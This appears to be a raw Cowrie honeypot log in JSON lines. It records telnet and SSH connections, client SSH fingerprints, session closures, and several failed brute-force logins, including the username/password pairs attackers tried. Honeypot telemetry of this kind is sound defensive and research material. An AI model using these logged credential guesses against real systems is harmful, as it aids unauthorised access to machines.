{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":36092,"dst_ip":"10.17.0.5","dst_port":23,"session":"65fd8e5adeb1","protocol":"telnet","message":"New connection: 137.184.155.248:36092 (10.17.0.5:23) [session: 65fd8e5adeb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:42.358781Z"}
{"eventid":"cowrie.session.closed","duration":5.134478807449341,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:47.493007Z","src_ip":"137.184.155.248","session":"65fd8e5adeb1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"112.151.178.49","src_port":48935,"dst_ip":"10.17.0.5","dst_port":22,"session":"23c29ed1b2dc","protocol":"ssh","message":"New connection: 112.151.178.49:48935 (10.17.0.5:22) [session: 23c29ed1b2dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:51.865547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:51.870198Z","src_ip":"112.151.178.49","session":"23c29ed1b2dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:52.072458Z","src_ip":"112.151.178.49","session":"23c29ed1b2dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"laurent","message":"login attempt [admin/laurent] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:52.912378Z","src_ip":"112.151.178.49","session":"23c29ed1b2dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:54.117318Z","src_ip":"112.151.178.49","session":"23c29ed1b2dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.601287603378296,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:55.342905Z","src_ip":"137.184.155.248","session":"d0532ff52a8e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.136712312698364,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:35:56.573118Z","src_ip":"137.184.155.248","session":"ccf441ff2fc9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":33238,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d799ad23859","protocol":"telnet","message":"New connection: 137.184.155.248:33238 (10.17.0.5:23) [session: 7d799ad23859]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:36:00.063236Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":50284,"dst_ip":"10.17.0.5","dst_port":23,"session":"f165791bed54","protocol":"telnet","message":"New connection: 137.184.155.248:50284 (10.17.0.5:23) [session: f165791bed54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:36:02.619184Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":50286,"dst_ip":"10.17.0.5","dst_port":23,"session":"aedf36d98c54","protocol":"telnet","message":"New connection: 137.184.155.248:50286 (10.17.0.5:23) [session: aedf36d98c54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:36:03.574010Z"}
{"eventid":"cowrie.session.closed","duration":46.15590691566467,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:36:04.516493Z","src_ip":"137.184.155.248","session":"ac363cc83b91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00148963928223,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:36:04.576180Z","src_ip":"31.43.241.152","session":"c2149c480fb4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.43.241.152","src_port":39376,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce920724351f","protocol":"telnet","message":"New connection: 31.43.241.152:39376 (159.203.135.109:23) [session: ce920724351f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:36:05.964575Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":50300,"dst_ip":"10.17.0.5","dst_port":23,"session":"968055e59e13","protocol":"telnet","message":"New connection: 137.184.155.248:50300 (10.17.0.5:23) [session: 968055e59e13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:36:06.970625Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":50310,"dst_ip":"10.17.0.5","dst_port":23,"session":"331d9d9ea8fb","protocol":"telnet","message":"New connection: 137.184.155.248:50310 (10.17.0.5:23) [session: 331d9d9ea8fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:36:08.579421Z"}
{"eventid":"cowrie.session.closed","duration":47.015530586242676,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:36:11.446819Z","src_ip":"137.184.155.248","session":"4df1909b38b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":54046,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1b97dcdcb5b","protocol":"telnet","message":"New connection: 137.184.155.248:54046 (10.17.0.5:23) [session: c1b97dcdcb5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:36:13.779874Z"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.101","src_port":41638,"dst_ip":"10.17.0.5","dst_port":22,"session":"b48ed7fd9e56","protocol":"ssh","message":"New connection: 58.186.20.101:41638 (10.17.0.5:22) [session: b48ed7fd9e56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:36:14.145915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:36:14.153262Z","src_ip":"58.186.20.101","session":"b48ed7fd9e56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:36:14.402909Z","src_ip":"58.186.20.101","session":"b48ed7fd9e56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":54056,"dst_ip":"10.17.0.5","dst_port":23,"session":"38c7d001f504","protocol":"telnet","message":"New connection: 137.184.155.248:54056 (10.17.0.5:23) [session: 38c7d001f504]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:36:15.164081Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"@admin@123","message":"login attempt [root/@admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:36:15.435475Z","src_ip":"58.186.20.101","session":"b48ed7fd9e56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:36:16.689443Z","src_ip":"58.186.20.101","session":"b48ed7fd9e56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":54070,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c04031489fc","protocol":"telnet","message":"New connection: 137.184.155.248:54070 (10.17.0.5:23) [session: 6c04031489fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:36:20.498159Z"}
{"eventid":"cowrie.session.closed","duration":45.97043991088867,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:36:26.868380Z","src_ip":"137.184.155.248","session":"f5caf6eda717","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":49844,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad1cd22767dd","protocol":"telnet","message":"New connection: 137.184.155.248:49844 (10.17.0.5:23) [session: ad1cd22767dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:36:29.777860Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":58190,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc53171fe10a","protocol":"telnet","message":"New connection: 137.184.155.248:58190 (10.17.0.5:23) [session: dc53171fe10a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:36:32.694081Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":58200,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd7e4c9797f2","protocol":"telnet","message":"New connection: 137.184.155.248:58200 (10.17.0.5:23) [session: cd7e4c9797f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:36:35.383493Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":58202,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1eda18b7f43","protocol":"telnet","message":"New connection: 137.184.155.248:58202 (10.17.0.5:23) [session: c1eda18b7f43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:36:39.517643Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":58214,"dst_ip":"10.17.0.5","dst_port":23,"session":"0178a70e34c5","protocol":"telnet","message":"New connection: 137.184.155.248:58214 (10.17.0.5:23) [session: 0178a70e34c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:36:39.605054Z"}
{"eventid":"cowrie.session.closed","duration":40.89326596260071,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:36:40.956370Z","src_ip":"137.184.155.248","session":"7d799ad23859","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"112.151.178.49","src_port":61406,"dst_ip":"10.17.0.5","dst_port":22,"session":"1711327c05f4","protocol":"ssh","message":"New connection: 112.151.178.49:61406 (10.17.0.5:22) [session: 1711327c05f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:36:43.636007Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:36:43.640309Z","src_ip":"112.151.178.49","session":"1711327c05f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:36:43.858055Z","src_ip":"112.151.178.49","session":"1711327c05f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"12341234","message":"login attempt [ali/12341234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:36:44.763241Z","src_ip":"112.151.178.49","session":"1711327c05f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:36:45.984457Z","src_ip":"112.151.178.49","session":"1711327c05f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":33166,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cbe362043c5","protocol":"telnet","message":"New connection: 137.184.155.248:33166 (10.17.0.5:23) [session: 4cbe362043c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:36:47.559444Z"}
{"eventid":"cowrie.session.closed","duration":46.64947009086609,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:36:49.268511Z","src_ip":"137.184.155.248","session":"f165791bed54","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.39465284347534,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:36:51.968521Z","src_ip":"137.184.155.248","session":"aedf36d98c54","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.39312934875488,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:36:53.972439Z","src_ip":"137.184.155.248","session":"331d9d9ea8fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.280715227127075,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:36:55.251267Z","src_ip":"137.184.155.248","session":"968055e59e13","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":39876,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8856ba28bd5","protocol":"telnet","message":"New connection: 137.184.155.248:39876 (10.17.0.5:23) [session: a8856ba28bd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:36:55.991079Z"}
{"eventid":"cowrie.session.closed","duration":44.41670274734497,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:36:58.196242Z","src_ip":"137.184.155.248","session":"c1b97dcdcb5b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.05662178993225,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:36:59.220572Z","src_ip":"137.184.155.248","session":"38c7d001f504","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.169.229","src_port":55748,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c42f84e8207","protocol":"ssh","message":"New connection: 148.230.169.229:55748 (10.17.0.5:22) [session: 4c42f84e8207]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:37:01.861451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:37:01.923539Z","src_ip":"148.230.169.229","session":"4c42f84e8207","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:37:01.986167Z","src_ip":"148.230.169.229","session":"4c42f84e8207","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"test123","message":"login attempt [ansible/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:37:02.289325Z","src_ip":"148.230.169.229","session":"4c42f84e8207","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":43800,"dst_ip":"10.17.0.5","dst_port":23,"session":"5bdc609b4ab5","protocol":"telnet","message":"New connection: 137.184.155.248:43800 (10.17.0.5:23) [session: 5bdc609b4ab5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:37:03.763846Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:37:03.976934Z","src_ip":"148.230.169.229","session":"4c42f84e8207","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.696685791015625,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:37:05.194721Z","src_ip":"137.184.155.248","session":"6c04031489fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.41369009017944,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:37:16.191402Z","src_ip":"137.184.155.248","session":"ad1cd22767dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.31692314147949,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:37:18.921861Z","src_ip":"137.184.155.248","session":"0178a70e34c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.14296531677246,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:37:19.526352Z","src_ip":"137.184.155.248","session":"cd7e4c9797f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.11723756790161,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:37:20.811204Z","src_ip":"137.184.155.248","session":"dc53171fe10a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":59006,"dst_ip":"10.17.0.5","dst_port":23,"session":"28c837ed5b5c","protocol":"telnet","message":"New connection: 137.184.155.248:59006 (10.17.0.5:23) [session: 28c837ed5b5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:37:25.994189Z"}
{"eventid":"cowrie.session.closed","duration":49.4313006401062,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:37:28.948790Z","src_ip":"137.184.155.248","session":"c1eda18b7f43","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":59018,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3fc197bcd86","protocol":"telnet","message":"New connection: 137.184.155.248:59018 (10.17.0.5:23) [session: d3fc197bcd86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:37:29.329648Z"}
{"eventid":"cowrie.session.closed","duration":43.25144553184509,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:37:30.810811Z","src_ip":"137.184.155.248","session":"4cbe362043c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":42616,"dst_ip":"10.17.0.5","dst_port":23,"session":"1366caed6c11","protocol":"telnet","message":"New connection: 137.184.155.248:42616 (10.17.0.5:23) [session: 1366caed6c11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:37:32.792569Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.232","src_port":52206,"dst_ip":"10.17.0.5","dst_port":22,"session":"abd1eb74adc1","protocol":"ssh","message":"New connection: 190.244.39.232:52206 (10.17.0.5:22) [session: abd1eb74adc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:37:35.359873Z"}
